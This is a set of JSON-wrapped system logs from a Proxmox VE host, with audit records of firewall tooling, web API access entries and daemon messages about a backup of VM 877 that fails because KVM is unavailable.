success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66654 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336222,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966336.222:69352): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66573 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965053183,"@rawstring":"node=pve type=SOCKADDR msg=audit(1781965053.183:63864): saddr=100000000000000000000000"} {"@timestamp":1781964168165,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964168.165:59884): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57507 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964475637,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964475.637:61187): table=filter family=7 entries=4 op=xt_replace pid=58741 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964804765,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965995747,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:33:14 +0100] \"GET /api2/extjs/access/domains?_dc=1781965994252 HTTP/1.1\" 200 214"} {"@timestamp":1781966381415,"@rawstring":"node=pve type=EXECVE msg=audit(1781966381.415:69487): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965051560,"@rawstring":"<30>Jun 20 15:17:31 pvedaemon[61227]: INFO: starting new backup job: vzdump 877 --remove 0 --compress zstd --notes-template '{{guestname}}' --notification-mode notification-system --mode snapshot --storage local --node pve\n\u0000"} {"@timestamp":1781965719709,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:38 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1115"} {"@timestamp":1781966366331,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966366.331:69445): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66653 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336222,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966336.222:69351): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66573 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965053083,"@rawstring":"node=pve type=SOCKADDR msg=audit(1781965053.083:63837): saddr=100000000000000000000000"} {"@timestamp":1781964168164,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964168.164:59883): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57507 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964465499,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964465.499:61145): table=filter family=7 entries=4 op=xt_replace pid=58702 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964804765,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:23 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 843"} {"@timestamp":1781965995747,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:33:14 +0100] \"POST /api2/json/access/ticket HTTP/1.1\" 200 806"} {"@timestamp":1781966381408,"@rawstring":"node=pve type=EXECVE msg=audit(1781966381.408:69484): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965051534,"@rawstring":"<30>Jun 20 15:17:31 pvedaemon[1216]: starting task UPID:pve:0000EF2B:0016A090:6A36A0FB:vzdump:877:root@pam:\n\u0000"} {"@timestamp":1781965718709,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781966365278,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966365.278:69442): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5b59a15d4e60 items=0 ppid=1156 pid=66652 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965021944,"@rawstring":"pam_unix(cron:session): session closed for user root"} {"@timestamp":1781966336035,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966336.035:69345): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd5a571440 a1=5673ea0433d0 a2=5673ea021680 a3=5 items=1 ppid=66565 pid=66566 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965076278,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965076.278:64055): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964168157,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964168.157:59881): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57506 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455348,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964455.348:61100): table=filter family=7 entries=4 op=xt_replace pid=58658 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964803734,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781965425619,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965425.619:65563): table=filter family=7 entries=4 op=xt_replace pid=62977 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966381362,"@rawstring":"node=pve type=EXECVE msg=audit(1781966381.362:69481): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965047916,"@rawstring":"<30>Jun 20 15:17:27 pvedaemon[1215]: update VM 877: -kvm 0\n\u0000"} {"@timestamp":1781965718709,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:37 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 926"} {"@timestamp":1781966365275,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966365.275:69441): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e0600 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66652 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965021942,"@rawstring":"(root) CMD (cd / && run-parts --report /etc/cron.hourly)"} {"@timestamp":1781966331215,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966331.215:69330): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66550 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965076280,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965076.280:64057): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964168157,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964168.157:59880): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57506 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964445207,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964445.207:61058): table=filter family=7 entries=4 op=xt_replace pid=58618 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964801932,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:20 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781965415442,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965415.442:65518): table=filter family=7 entries=4 op=xt_replace pid=62933 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966381362,"@rawstring":"node=pve type=EXECVE msg=audit(1781966381.362:69480): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781965045543,"@rawstring":"<30>Jun 20 15:17:25 pvedaemon[1214]: successful auth for user 'root@pam'\n\u0000"} {"@timestamp":1781965716781,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:36 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1082"} {"@timestamp":1781966365271,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966365.271:69440): arch=c000003e syscall=59 success=yes exit=0 a0=5e8cf1200b20 a1=5e8cf120c9f0 a2=5e8cf11da680 a3=5 items=2 ppid=66645 pid=66651 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965021941,"@rawstring":"pam_unix(cron:session): session opened for user root(uid=0) by root(uid=0)"} {"@timestamp":1781966331215,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966331.215:69329): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66550 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965076278,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965076.278:64056): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964166084,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964166.084:59876): arch=c000003e syscall=59 success=no exit=-2 a0=7fffdc210310 a1=644991607310 a2=644991600680 a3=5 items=1 ppid=57499 pid=57500 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436074,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964436.074:61016): table=filter family=7 entries=4 op=xt_replace pid=58579 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964801932,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:20 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965405296,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965405.296:65475): table=filter family=7 entries=4 op=xt_replace pid=62893 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966381360,"@rawstring":"node=pve type=EXECVE msg=audit(1781966381.360:69479): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781965038682,"@rawstring":"<27>Jun 20 15:17:18 pvedaemon[1215]: end task UPID:pve:0000EEDD:00169B5A:6A36A0EE:vzdump:877:root@pam: job errors\n\u0000"} {"@timestamp":1781965716781,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:35 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 921"} {"@timestamp":1781966365268,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966365.268:69439): arch=c000003e syscall=59 success=yes exit=0 a0=5e8cb3621ac8 a1=7ffc258f0570 a2=5e8cf11da680 a3=5e8cb360524e items=2 ppid=66645 pid=66647 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966331210,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966331.210:69327): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66549 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965076272,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965076.272:64053): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964166000,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964166.000:59858): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdf30324b0 a1=5bf46a6ad310 a2=5bf46a6a6680 a3=5 items=1 ppid=57480 pid=57481 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425943,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964425.943:60974): table=filter family=7 entries=4 op=xt_replace pid=58540 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964800639,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965395154,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965395.154:65433): table=filter family=7 entries=4 op=xt_replace pid=62854 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966376396,"@rawstring":"node=pve type=EXECVE msg=audit(1781966376.396:69478): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965038672,"@rawstring":"<27>Jun 20 15:17:18 pvedaemon[61149]: job errors\n\u0000"} {"@timestamp":1781965716781,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:35 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781966365267,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966365.267:69438): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc258f0530 a1=5e8cf11fc1c0 a2=5e8cf11da680 a3=5 items=2 ppid=66645 pid=66646 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966331210,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966331.210:69326): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66549 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705692,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.692:62257): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965076272,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965076.272:64052): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964163147,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964163.147:59848): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57470 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415813,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964415.813:60932): table=filter family=7 entries=4 op=xt_replace pid=58499 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964799605,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781965386011,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965386.011:65390): table=filter family=7 entries=4 op=xt_replace pid=62813 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966376380,"@rawstring":"node=pve type=EXECVE msg=audit(1781966376.380:69475): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965038671,"@rawstring":"notified via target `mail-to-root`"} {"@timestamp":1781965715787,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:35 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781966365263,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966365.263:69436): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66645 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966326203,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966326.203:69324): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66547 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705689,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.689:62256): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965076270,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965076.270:64049): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964163147,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964163.147:59847): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57470 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405682,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964405.682:60890): table=filter family=7 entries=4 op=xt_replace pid=58460 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964798614,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:17 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781965375862,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965375.862:65347): table=filter family=7 entries=4 op=xt_replace pid=62770 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966375354,"@rawstring":"node=pve type=EXECVE msg=audit(1781966375.354:69471): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965038650,"@rawstring":"<30>Jun 20 15:17:18 pvedaemon[61149]: INFO: Backup job finished with errors\n\u0000"} {"@timestamp":1781965715787,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 502"} {"@timestamp":1781966365257,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966365.257:69435): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12f530 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66644 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966326203,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966326.203:69323): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66547 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705687,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.687:62255): argc=1 a0=\"date\""} {"@timestamp":1781965076270,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965076.270:64048): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964163135,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964163.135:59845): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57469 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395554,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964395.554:60845): table=filter family=7 entries=4 op=xt_replace pid=58416 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964798614,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:17 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965365700,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965365.700:65305): table=filter family=7 entries=4 op=xt_replace pid=62730 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966375350,"@rawstring":"node=pve type=EXECVE msg=audit(1781966375.350:69470): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965038642,"@rawstring":"<27>Jun 20 15:17:18 pvedaemon[61149]: ERROR: Backup of VM 877 failed - KVM virtualisation configured, but not available. Either disable in VM configuration or enable in BIOS.\n\u0000"} {"@timestamp":1781965715787,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:34 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1082"} {"@timestamp":1781966326197,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966326.197:69321): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66546 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966365252,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966365.252:69434): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66643 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705683,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.683:62253): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965076267,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965076.267:64047): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964163135,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964163.135:59844): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57469 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385424,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964385.424:60803): table=filter family=7 entries=4 op=xt_replace pid=58377 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964798614,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:17 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 845"} {"@timestamp":1781965355501,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965355.501:65259): table=filter family=7 entries=4 op=xt_replace pid=62685 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966375347,"@rawstring":"node=pve type=EXECVE msg=audit(1781966375.347:69469): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} 